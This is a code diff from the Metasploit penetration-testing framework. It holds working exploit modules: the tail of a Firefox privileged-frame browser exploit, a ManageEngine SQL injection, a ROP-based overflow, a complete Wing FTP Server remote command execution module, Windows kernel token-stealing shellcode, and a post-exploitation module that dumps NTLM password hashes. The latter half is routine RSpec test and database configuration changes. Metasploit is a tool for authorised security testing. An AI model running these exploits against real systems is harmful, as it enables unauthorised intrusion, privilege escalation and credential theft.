||||||
|
top.vvv.location = 'data:text/html,<html><body><iframe mozBrowser '+
|
||||||
|
'src="about:blank"></iframe></body></html>';
|
||||||
|
clearInterval(clear);
|
||||||
|
setTimeout(step3, 100);
|
||||||
|
}, 10);
|
||||||
|
}
|
||||||
|
|
||||||
|
function step3() {
|
||||||
|
var clear = setInterval(function(){
|
||||||
|
if (!frames[0]) return; // will throw until the frame is accessible
|
||||||
|
top.vvv.messageManager.loadFrameScript('data:,'+key, false);
|
||||||
|
clearInterval(clear);
|
||||||
|
setTimeout(function(){top.vvv.close();}, 100);
|
||||||
|
}, 10);
|
||||||
|
}
|
||||||
|
|
||||||
|
|)
|
||||||
|
|
||||||
|
js.obfuscate
|
||||||
|
|
||||||
|
%Q|
|
||||||
|
<!doctype html>
|
||||||
|
<html>
|
||||||
|
<body>
|
||||||
|
<iframe id='#{frame}' name='#{frame}'
|
||||||
|
style='position:absolute;left:-9999999px;height:1px;width:1px;'>
|
||||||
|
</iframe>
|
||||||
|
<script>
|
||||||
|
#{js}
|
||||||
|
</script>
|
||||||
|
#{datastore['CONTENT']}
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
|
@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => "ManageEngine Password Manager MetadataServlet.dat SQL Injection",
|
'Name' => "ManageEngine Desktop Central / Password Manager LinkViewFetchServlet.dat SQL Injection",
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module exploits an unauthenticated blind SQL injection in LinkViewFetchServlet,
|
This module exploits an unauthenticated blind SQL injection in LinkViewFetchServlet,
|
||||||
which is exposed in ManageEngine Desktop Central v7 build 70200 to v9 build 90033 and
|
which is exposed in ManageEngine Desktop Central v7 build 70200 to v9 build 90033 and
|
||||||
|
@ -216,7 +216,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
paths = desktop_central_db_paths
|
paths = desktop_central_db_paths
|
||||||
|
|
||||||
if paths.empty?
|
if paths.empty?
|
||||||
paths = check_password_manager_pro
|
paths = password_manager_paths
|
||||||
end
|
end
|
||||||
|
|
||||||
paths
|
paths
|
||||||
|
|
|
@ -156,7 +156,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
p << payload.encoded
|
p << payload.encoded
|
||||||
block = p
|
block = p
|
||||||
block << rand_text_alpha(1024 - 80 - p.length)
|
block << rand_text_alpha(1024 - 80 - p.length)
|
||||||
block << [ 0x77c34fbf, 0x200f0704 ].pack("V") # pop esp # ret # from msvcrt
|
block << [ 0x77c34fbf, 0x200f0704 ].pack("V*") # pop esp # ret # from msvcrt
|
||||||
block << rand_text_alpha(1024 - block.length)
|
block << rand_text_alpha(1024 - block.length)
|
||||||
|
|
||||||
buf = ''
|
buf = ''
|
||||||
|
|
|
@ -0,0 +1,123 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http//metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
include Msf::Exploit::CmdStager
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Wing FTP Server Authenticated Command Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits the embedded Lua interpreter in the admin web interface for
|
||||||
|
versions 4.3.8 and below. When supplying a specially crafted HTTP POST request
|
||||||
|
an attacker can use os.execute() to execute arbitrary system commands on
|
||||||
|
the target with SYSTEM privileges.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Nicholas Nam <nick[at]executionflow.org>'
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'URL', 'http://www.wftpserver.com' ]
|
||||||
|
],
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Windows VBS Stager', {} ]
|
||||||
|
],
|
||||||
|
'Privileged' => true,
|
||||||
|
'DisclosureDate' => 'Jun 19 2014',
|
||||||
|
'DefaultTarget' => 0
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(5466),
|
||||||
|
OptString.new('USERNAME', [true, 'Admin username', '']),
|
||||||
|
OptString.new('PASSWORD', [true, 'Admin password', ''])
|
||||||
|
], self.class
|
||||||
|
)
|
||||||
|
deregister_options('CMDSTAGER::FLAVOR')
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => '/admin_login.html',
|
||||||
|
'method' => 'GET'
|
||||||
|
})
|
||||||
|
|
||||||
|
if !res
|
||||||
|
fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
|
||||||
|
elsif res.code != 200
|
||||||
|
fail_with(Failure::NotFound, "#{peer} - Admin login page was not found.")
|
||||||
|
elsif res.body =~ /Wing FTP Server Administrator/ && res.body =~ /2003-2014 <b>wftpserver.com<\/b>/
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
end
|
||||||
|
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
username = datastore['USERNAME']
|
||||||
|
password = datastore['PASSWORD']
|
||||||
|
@session_cookie = authenticate(username, password)
|
||||||
|
|
||||||
|
print_status("#{peer} - Sending payload")
|
||||||
|
# Execute the cmdstager, max length of the commands is ~1500
|
||||||
|
execute_cmdstager(flavor: :vbs, linemax: 1500)
|
||||||
|
end
|
||||||
|
|
||||||
|
def execute_command(cmd, _opts = {})
|
||||||
|
command = "os.execute('cmd /c #{cmd}')"
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
'uri' => '/admin_lua_script.html',
|
||||||
|
'method' => 'POST',
|
||||||
|
'cookie' => @session_cookie,
|
||||||
|
'vars_post' => { 'command' => command }
|
||||||
|
)
|
||||||
|
|
||||||
|
if res && res.code != 200
|
||||||
|
fail_with(Failure::Unkown, "#{peer} - Something went wrong.")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def authenticate(username, password)
|
||||||
|
print_status("#{peer} - Authenticating")
|
||||||
|
res = send_request_cgi(
|
||||||
|
'uri' => '/admin_loginok.html',
|
||||||
|
'method' => 'POST',
|
||||||
|
'vars_post' => {
|
||||||
|
'username' => username,
|
||||||
|
'password' => password,
|
||||||
|
'username_val' => username,
|
||||||
|
'password_val' => password,
|
||||||
|
'submit_btn' => '+Login+'
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
uidadmin = ''
|
||||||
|
if !res
|
||||||
|
fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
|
||||||
|
elsif res.code == 200 && res.body =~ /location='main.html\?lang=english';/
|
||||||
|
res.get_cookies.split(';').each do |cookie|
|
||||||
|
cookie.split(',').each do |value|
|
||||||
|
uidadmin = value.split('=')[1] if value.split('=')[0] =~ /UIDADMIN/
|
||||||
|
end
|
||||||
|
end
|
||||||
|
else
|
||||||
|
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
"UIDADMIN=#{uidadmin}"
|
||||||
|
end
|
||||||
|
end
|
|
@ -51,9 +51,9 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
],
|
],
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
%w(CVE 2014-4971),
|
['CVE', '2014-4971'],
|
||||||
%w(EDB 34112),
|
['EDB', '34112'],
|
||||||
%w(URL https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt)
|
['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt']
|
||||||
],
|
],
|
||||||
'DisclosureDate' => 'Jul 22 2014',
|
'DisclosureDate' => 'Jul 22 2014',
|
||||||
'DefaultTarget' => 0
|
'DefaultTarget' => 0
|
||||||
|
@ -150,6 +150,7 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax
|
restore_ptrs << "\xa3" + [haldispatchtable + 4].pack('V') # mov dword ptr [nt!HalDispatchTable+0x4], eax
|
||||||
|
|
||||||
shellcode = make_nops(0x200) + restore_ptrs + token_stealing_shellcode(target)
|
shellcode = make_nops(0x200) + restore_ptrs + token_stealing_shellcode(target)
|
||||||
|
|
||||||
this_proc.memory.write(0x1, shellcode)
|
this_proc.memory.write(0x1, shellcode)
|
||||||
this_proc.close
|
this_proc.close
|
||||||
|
|
||||||
|
|
|
@ -38,31 +38,54 @@ class Metasploit3 < Msf::Post
|
||||||
session.core.use("incognito") if not session.incognito
|
session.core.use("incognito") if not session.incognito
|
||||||
|
|
||||||
# It wasn't me mom! Stinko did it!
|
# It wasn't me mom! Stinko did it!
|
||||||
hashes = client.priv.sam_hashes
|
begin
|
||||||
|
hashes = client.priv.sam_hashes
|
||||||
|
rescue
|
||||||
|
print_error('Error accessing hashes, did you migrate to a process that matched the target\'s architecture?')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
# Target infos for the db record
|
# Target infos for the db record
|
||||||
addr = client.sock.peerhost
|
addr = session.session_host
|
||||||
# client.framework.db.report_host(:host => addr, :state => Msf::HostState::Alive)
|
# client.framework.db.report_host(:host => addr, :state => Msf::HostState::Alive)
|
||||||
|
|
||||||
# Record hashes to the running db instance
|
# Record hashes to the running db instance
|
||||||
print_good "Collecting hashes..."
|
print_good "Collecting hashes..."
|
||||||
|
|
||||||
hashes.each do |hash|
|
hashes.each do |hash|
|
||||||
data = {}
|
# Build service information
|
||||||
data[:host] = addr
|
service_data = {
|
||||||
data[:port] = 445
|
address: addr,
|
||||||
data[:sname] = 'smb'
|
port: 445,
|
||||||
data[:user] = hash.user_name
|
service_name: 'smb',
|
||||||
data[:pass] = hash.lanman + ":" + hash.ntlm
|
protocol: 'tcp',
|
||||||
data[:type] = "smb_hash"
|
}
|
||||||
if not session.db_record.nil?
|
|
||||||
data[:source_id] = session.db_record.id
|
|
||||||
end
|
|
||||||
data[:source_type] = "exploit",
|
|
||||||
data[:active] = true
|
|
||||||
|
|
||||||
print_line " Extracted: #{data[:user]}:#{data[:pass]}"
|
# Build credential information
|
||||||
report_auth_info(data) if db_ok
|
credential_data = {
|
||||||
|
origin_type: :session,
|
||||||
|
session_id: session_db_id,
|
||||||
|
post_reference_name: self.refname,
|
||||||
|
private_type: :ntlm_hash,
|
||||||
|
private_data: hash.lanman + ":" + hash.ntlm,
|
||||||
|
username: hash.user_name,
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
credential_data.merge!(service_data)
|
||||||
|
credential_core = create_credential(credential_data)
|
||||||
|
|
||||||
|
# Assemble the options hash for creating the Metasploit::Credential::Login object
|
||||||
|
login_data = {
|
||||||
|
core: credential_core,
|
||||||
|
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||||
|
workspace_id: myworkspace_id
|
||||||
|
}
|
||||||
|
|
||||||
|
login_data.merge!(service_data)
|
||||||
|
create_credential_login(login_data)
|
||||||
|
|
||||||
|
print_line " Extracted: #{credential_data[:username]}:#{credential_data[:private_data]}"
|
||||||
end
|
end
|
||||||
|
|
||||||
# Record user tokens
|
# Record user tokens
|
||||||
|
|
|
@ -0,0 +1,10 @@
|
||||||
|
#!/usr/bin/env ruby
|
||||||
|
|
||||||
|
vendored_cucumber_bin = Dir["#{File.dirname(__FILE__)}/../vendor/{gems,plugins}/cucumber*/bin/cucumber"].first
|
||||||
|
if vendored_cucumber_bin
|
||||||
|
load File.expand_path(vendored_cucumber_bin)
|
||||||
|
else
|
||||||
|
require 'rubygems' unless ENV['NO_RUBYGEMS']
|
||||||
|
require 'cucumber'
|
||||||
|
load Cucumber::BINARY
|
||||||
|
end
|
|
@ -11,4 +11,4 @@ FactoryGirl.define do
|
||||||
sequence :mdm_web_vuln_description do |n|
|
sequence :mdm_web_vuln_description do |n|
|
||||||
"Mdm::WebVuln#description #{n}"
|
"Mdm::WebVuln#description #{n}"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -6,4 +6,4 @@ FactoryGirl.modify do
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -44,14 +44,14 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do
|
||||||
end
|
end
|
||||||
|
|
||||||
context 'in thread with connection' do
|
context 'in thread with connection' do
|
||||||
it { should be_true }
|
it { should be_truthy }
|
||||||
end
|
end
|
||||||
|
|
||||||
context 'in thread without connection' do
|
context 'in thread without connection' do
|
||||||
it 'should be false' do
|
it 'should be false' do
|
||||||
thread = Thread.new do
|
thread = Thread.new do
|
||||||
Thread.current.should_not == main_thread
|
Thread.current.should_not == main_thread
|
||||||
expect(active_connection?).to be_false
|
expect(active_connection?).to be_falsey
|
||||||
end
|
end
|
||||||
|
|
||||||
thread.join
|
thread.join
|
||||||
|
@ -97,7 +97,7 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should return true from #active_connection?' do
|
it 'should return true from #active_connection?' do
|
||||||
expect(connection_pool.active_connection?).to be_true
|
expect(connection_pool.active_connection?).to be_truthy
|
||||||
end
|
end
|
||||||
|
|
||||||
context 'with error' do
|
context 'with error' do
|
||||||
|
@ -129,7 +129,7 @@ describe ActiveRecord::ConnectionAdapters::ConnectionPool do
|
||||||
|
|
||||||
context 'without active thread connection' do
|
context 'without active thread connection' do
|
||||||
it 'should return false from #active_connection?' do
|
it 'should return false from #active_connection?' do
|
||||||
expect(connection_pool.active_connection?).to be_false
|
expect(connection_pool.active_connection?).to be_falsey
|
||||||
end
|
end
|
||||||
|
|
||||||
context 'with error' do
|
context 'with error' do
|
||||||
|
|
|
@ -69,11 +69,11 @@ describe FastLib do
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should create an archive' do
|
it 'should create an archive' do
|
||||||
File.exist?(@destination_path).should be_false
|
File.exist?(@destination_path).should be_falsey
|
||||||
|
|
||||||
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
|
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
|
||||||
|
|
||||||
File.exist?(@destination_path).should be_true
|
File.exist?(@destination_path).should be_truthy
|
||||||
end
|
end
|
||||||
|
|
||||||
context 'cache' do
|
context 'cache' do
|
||||||
|
@ -114,7 +114,7 @@ describe FastLib do
|
||||||
|
|
||||||
# make sure that the unarchived module exists and hasn't be deleted or renamed before expecting it to be
|
# make sure that the unarchived module exists and hasn't be deleted or renamed before expecting it to be
|
||||||
# in the archive.
|
# in the archive.
|
||||||
File.exist?(unarchived_path).should be_true
|
File.exist?(unarchived_path).should be_truthy
|
||||||
cache[archived_path].should_not be_nil
|
cache[archived_path].should_not be_nil
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -127,25 +127,25 @@ describe FastLib do
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should create an archive' do
|
it 'should create an archive' do
|
||||||
File.exist?(@destination_path).should be_false
|
File.exist?(@destination_path).should be_falsey
|
||||||
|
|
||||||
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
|
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
|
||||||
|
|
||||||
File.exist?(@destination_path).should be_true
|
File.exist?(@destination_path).should be_truthy
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should be smaller than the uncompressed archive' do
|
it 'should be smaller than the uncompressed archive' do
|
||||||
uncompressed_path = "#{@destination_path}.uncompressed"
|
uncompressed_path = "#{@destination_path}.uncompressed"
|
||||||
compressed_path = "#{@destination_path}.compressed"
|
compressed_path = "#{@destination_path}.compressed"
|
||||||
|
|
||||||
File.exist?(uncompressed_path).should be_false
|
File.exist?(uncompressed_path).should be_falsey
|
||||||
File.exist?(compressed_path).should be_false
|
File.exist?(compressed_path).should be_falsey
|
||||||
|
|
||||||
described_class.dump(uncompressed_path, '', base_path, *unarchived_paths)
|
described_class.dump(uncompressed_path, '', base_path, *unarchived_paths)
|
||||||
described_class.dump(compressed_path, flag_string, base_path, *unarchived_paths)
|
described_class.dump(compressed_path, flag_string, base_path, *unarchived_paths)
|
||||||
|
|
||||||
File.exist?(uncompressed_path).should be_true
|
File.exist?(uncompressed_path).should be_truthy
|
||||||
File.exist?(compressed_path).should be_true
|
File.exist?(compressed_path).should be_truthy
|
||||||
|
|
||||||
File.size(compressed_path).should < File.size(uncompressed_path)
|
File.size(compressed_path).should < File.size(uncompressed_path)
|
||||||
end
|
end
|
||||||
|
@ -157,11 +157,11 @@ describe FastLib do
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should create an archive' do
|
it 'should create an archive' do
|
||||||
File.exist?(@destination_path).should be_false
|
File.exist?(@destination_path).should be_falsey
|
||||||
|
|
||||||
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
|
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
|
||||||
|
|
||||||
File.exist?(@destination_path).should be_true
|
File.exist?(@destination_path).should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -171,11 +171,11 @@ describe FastLib do
|
||||||
end
|
end
|
||||||
|
|
||||||
it 'should create an archive' do
|
it 'should create an archive' do
|
||||||
File.exist?(@destination_path).should be_false
|
File.exist?(@destination_path).should be_falsey
|
||||||
|
|
||||||
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
|
described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths)
|
||||||
|
|
||||||
File.exist?(@destination_path).should be_true
|
File.exist?(@destination_path).should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
@ -194,7 +194,7 @@ describe FastLib do
|
||||||
# ensure modules expected to be listed actually exist
|
# ensure modules expected to be listed actually exist
|
||||||
it 'should use existent unarchived modules' do
|
it 'should use existent unarchived modules' do
|
||||||
unarchived_paths.each do |unarchived_path|
|
unarchived_paths.each do |unarchived_path|
|
||||||
File.exist?(unarchived_path).should be_true
|
File.exist?(unarchived_path).should be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1 @@
|
||||||
|
|
|
@ -22,7 +22,7 @@ describe Metasploit::Framework::Credential do
|
||||||
|
|
||||||
describe "#paired" do
|
describe "#paired" do
|
||||||
it "defaults to true" do
|
it "defaults to true" do
|
||||||
expect(cred_detail.paired).to be_true
|
expect(cred_detail.paired).to be_truthy
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,670 @@
|
||||||
|
require 'spec_helper'
|
||||||
|
|
||||||
|
RSpec.describe Metasploit::Framework::Database do
|
||||||
|
context 'CONSTANTS' do
|
||||||
|
context 'CONFIGURATIONS_PATHNAME_PRECEDENCE' do
|
||||||
|
subject(:configurations_pathname_precedence) {
|
||||||
|
described_class::CONFIGURATIONS_PATHNAME_PRECEDENCE
|
||||||
|
}
|
||||||
|
|
||||||
|
it { is_expected.to match_array(
|
||||||
|
[
|
||||||
|
:environment_configurations_pathname,
|
||||||
|
:user_configurations_pathname,
|
||||||
|
:project_configurations_pathname
|
||||||
|
]
|
||||||
|
) }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context '.configurations_pathname' do
|
||||||
|
subject(:configurations_pathname) {
|
||||||
|
described_class.configurations_pathname(*arguments)
|
||||||
|
}
|
||||||
|
|
||||||
|
context 'with options' do
|
||||||
|
let(:arguments) {
|
||||||
|
[
|
||||||
|
{
|
||||||
|
path: path
|
||||||
|
}
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
context 'with :path' do
|
||||||
|
context 'that exists' do
|
||||||
|
let(:path) {
|
||||||
|
tempfile.path
|
||||||
|
}
|
||||||
|
|
||||||
|
let(:tempfile) {
|
||||||
|
Tempfile.new(['database', '.yml'])
|
||||||
|
}
|
||||||
|
|
||||||
|
it 'returns Pathname(path)' do
|
||||||
|
expect(configurations_pathname).to eq(Pathname.new(path))
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'that does not exist' do
|
||||||
|
let(:path) {
|
||||||
|
'/a/configurations/path/that/does/not/exist/database.yml'
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
it { is_expected.to be_nil }
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without :path' do
|
||||||
|
let(:path) {
|
||||||
|
''
|
||||||
|
}
|
||||||
|
|
||||||
|
it 'calls configurations_pathnames' do
|
||||||
|
expect(described_class).to receive(:configurations_pathnames).and_call_original
|
||||||
|
|
||||||
|
configurations_pathname
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'returns first pathname from configurations_pathnames' do
|
||||||
|
expect(configurations_pathname).to eq(described_class.configurations_pathnames.first)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without options' do
|
||||||
|
let(:arguments) {
|
||||||
|
[]
|
||||||
|
}
|
||||||
|
|
||||||
|
it 'calls configurations_pathnames' do
|
||||||
|
expect(described_class).to receive(:configurations_pathnames).and_call_original
|
||||||
|
|
||||||
|
configurations_pathname
|
||||||
|
end
|
||||||
|
|
||||||
|
it 'returns first pathname from configurations_pathnames' do
|
||||||
|
expect(configurations_pathname).to eq(described_class.configurations_pathnames.first)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context '.configurations_pathnames' do
|
||||||
|
subject(:configurations_pathnames) {
|
||||||
|
described_class.configurations_pathnames
|
||||||
|
}
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
allow(described_class).to receive(:environment_configurations_pathname).and_return(
|
||||||
|
environment_configurations_pathname
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with environment_configurations_pathname' do
|
||||||
|
context 'that exists' do
|
||||||
|
#
|
||||||
|
# lets
|
||||||
|
#
|
||||||
|
|
||||||
|
let(:environment_configurations_pathname) {
|
||||||
|
Pathname.new(environment_configurations_tempfile.path)
|
||||||
|
}
|
||||||
|
|
||||||
|
let(:environment_configurations_tempfile) {
|
||||||
|
Tempfile.new(['environment_configurations', '.database.yml'])
|
||||||
|
}
|
||||||
|
|
||||||
|
#
|
||||||
|
# Callbacks
|
||||||
|
#
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
allow(described_class).to receive(:user_configurations_pathname).and_return(
|
||||||
|
user_configurations_pathname
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with user_configurations_pathname' do
|
||||||
|
context 'that exists' do
|
||||||
|
#
|
||||||
|
# lets
|
||||||
|
#
|
||||||
|
|
||||||
|
let(:user_configurations_pathname) {
|
||||||
|
Pathname.new(user_configurations_tempfile.path)
|
||||||
|
}
|
||||||
|
|
||||||
|
let(:user_configurations_tempfile) {
|
||||||
|
Tempfile.new(['user_configurations', '.database.yml'])
|
||||||
|
}
|
||||||
|
|
||||||
|
#
|
||||||
|
# Callbacks
|
||||||
|
#
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
allow(described_class).to receive(:project_configurations_pathname).and_return(
|
||||||
|
project_configurations_pathname
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with project_configurations_pathname' do
|
||||||
|
context 'that exists' do
|
||||||
|
let(:project_configurations_pathname) {
|
||||||
|
Pathname.new(project_configurations_tempfile.path)
|
||||||
|
}
|
||||||
|
|
||||||
|
let(:project_configurations_tempfile) {
|
||||||
|
Tempfile.new(['project_configurations', '.database.yml'])
|
||||||
|
}
|
||||||
|
|
||||||
|
it 'is [environment_configurations_pathname, user_configurations_pathname, project_configurations_pathname]' do
|
||||||
|
expect(project_configurations_pathname).to exist
|
||||||
|
expect(configurations_pathnames).to match_array(
|
||||||
|
[
|
||||||
|
environment_configurations_pathname,
|
||||||
|
user_configurations_pathname,
|
||||||
|
project_configurations_pathname
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'that does not exist' do
|
||||||
|
let(:project_configurations_pathname) {
|
||||||
|
Pathname.new('/metasploit-framework/does/not/exist/here/config/database.yml')
|
||||||
|
}
|
||||||
|
|
||||||
|
it 'is [environment_configurations_pathname, user_configurations_pathname]' do
|
||||||
|
expect(environment_configurations_pathname).to exist
|
||||||
|
expect(user_configurations_pathname).to exist
|
||||||
|
expect(project_configurations_pathname).not_to exist
|
||||||
|
|
||||||
|
expect(project_configurations_pathname).not_to exist
|
||||||
|
expect(configurations_pathnames).to match_array(
|
||||||
|
[
|
||||||
|
environment_configurations_pathname,
|
||||||
|
user_configurations_pathname
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without project_configurations_pathname' do
|
||||||
|
let(:project_configurations_pathname) {
|
||||||
|
nil
|
||||||
|
}
|
||||||
|
|
||||||
|
it 'is [environment_configuration_pathname, user_configurations_pathname]' do
|
||||||
|
expect(environment_configurations_pathname).to exist
|
||||||
|
expect(user_configurations_pathname).to exist
|
||||||
|
|
||||||
|
expect(configurations_pathnames).to match_array(
|
||||||
|
[
|
||||||
|
environment_configurations_pathname,
|
||||||
|
user_configurations_pathname
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with does not exist' do
|
||||||
|
#
|
||||||
|
# lets
|
||||||
|
#
|
||||||
|
|
||||||
|
let(:user_configurations_pathname) {
|
||||||
|
Pathname.new('/user/configuration/that/does/not/exist/.msf4/database.yml')
|
||||||
|
}
|
||||||
|
|
||||||
|
#
|
||||||
|
# Callbacks
|
||||||
|
#
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
allow(described_class).to receive(:project_configurations_pathname).and_return(
|
||||||
|
project_configurations_pathname
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with project_configurations_pathname' do
|
||||||
|
context 'that exists' do
|
||||||
|
let(:project_configurations_pathname) {
|
||||||
|
Pathname.new(project_configurations_tempfile.path)
|
||||||
|
}
|
||||||
|
|
||||||
|
let(:project_configurations_tempfile) {
|
||||||
|
Tempfile.new(['project_configurations', '.database.yml'])
|
||||||
|
}
|
||||||
|
|
||||||
|
it 'is [environment_configurations_pathname, project_configurations_pathname]' do
|
||||||
|
expect(environment_configurations_pathname).to exist
|
||||||
|
expect(user_configurations_pathname).not_to exist
|
||||||
|
expect(project_configurations_pathname).to exist
|
||||||
|
|
||||||
|
expect(configurations_pathnames).to match_array(
|
||||||
|
[
|
||||||
|
environment_configurations_pathname,
|
||||||
|
project_configurations_pathname
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'that does not exist' do
|
||||||
|
let(:project_configurations_pathname) {
|
||||||
|
Pathname.new('/metasploit-framework/that/does/not/exist/config/database.yml')
|
||||||
|
}
|
||||||
|
|
||||||
|
it 'is [environment_configurations_pathname]' do
|
||||||
|
expect(environment_configurations_pathname).to exist
|
||||||
|
expect(user_configurations_pathname).not_to exist
|
||||||
|
expect(project_configurations_pathname).not_to exist
|
||||||
|
|
||||||
|
expect(configurations_pathnames).to match_array(
|
||||||
|
[
|
||||||
|
environment_configurations_pathname
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without project_configurations_pathname' do
|
||||||
|
let(:project_configurations_pathname) {
|
||||||
|
nil
|
||||||
|
}
|
||||||
|
|
||||||
|
it 'is [environment_configurations_pathname]' do
|
||||||
|
expect(environment_configurations_pathname).to exist
|
||||||
|
expect(user_configurations_pathname).not_to exist
|
||||||
|
expect(project_configurations_pathname).to be_nil
|
||||||
|
|
||||||
|
expect(configurations_pathnames).to match_array(
|
||||||
|
[
|
||||||
|
environment_configurations_pathname
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without user_configurations_pathname' do
|
||||||
|
#
|
||||||
|
# lets
|
||||||
|
#
|
||||||
|
|
||||||
|
let(:user_configurations_pathname) {
|
||||||
|
nil
|
||||||
|
}
|
||||||
|
|
||||||
|
#
|
||||||
|
# Callbacks
|
||||||
|
#
|
||||||
|
|
||||||
|
before(:each) do
|
||||||
|
allow(described_class).to receive(:project_configurations_pathname).and_return(
|
||||||
|
project_configurations_pathname
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'with project_configurations_pathname' do
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'without project_configurations_pathname' do
|
||||||
|
let(:project_configurations_pathname) {
|
||||||
|
nil
|
||||||
|
}
|
||||||
|
|
||||||
|
it 'contains only the environment_configuration_pathname' do
|
||||||
|
expect(configurations_pathnames).to match_array([environment_configurations_pathname])
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
